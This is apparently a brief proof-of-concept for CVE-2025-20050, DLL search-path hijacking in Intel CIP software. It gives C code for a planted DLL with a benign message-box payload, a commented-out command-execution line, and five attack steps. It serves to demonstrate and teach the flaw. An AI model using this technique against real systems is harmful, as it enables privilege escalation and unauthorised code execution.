CVE-2025-20050

// CVE-2025-20050 PoC - DLL Search Path Hijacking // This PoC demonstrates the concept of DLL search path hijacking // Attackers would need to place a malicious DLL in a location where the vulnerable application searches for DLLs #include <windows.h> #include <stdio.h> // Simulated malicious DLL entry point BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved) { if (fdwReason == DLL_PROCESS_ATTACH) { // Malicious code execution - escalate privileges MessageBox(NULL, "CVE-2025-20050 - Intel CIP DLL Hijacking PoC\n" "Privilege Escalation Triggered!", "Vulnerability PoC", MB_OK | MB_ICONWARNING); // In real attack: spawn elevated process or execute payload // system("cmd.exe /c whoami > C:\\temp\\pwned.txt"); } return TRUE; } /* Attack methodology: 1. Identify DLLs loaded by Intel CIP software 2. Find writable directories in DLL search path 3. Place malicious DLL with same name as legitimate DLL 4. Trigger Intel CIP software to load the DLL 5. Gain code execution with application's privilege level Note: This is a conceptual PoC for educational purposes only. */

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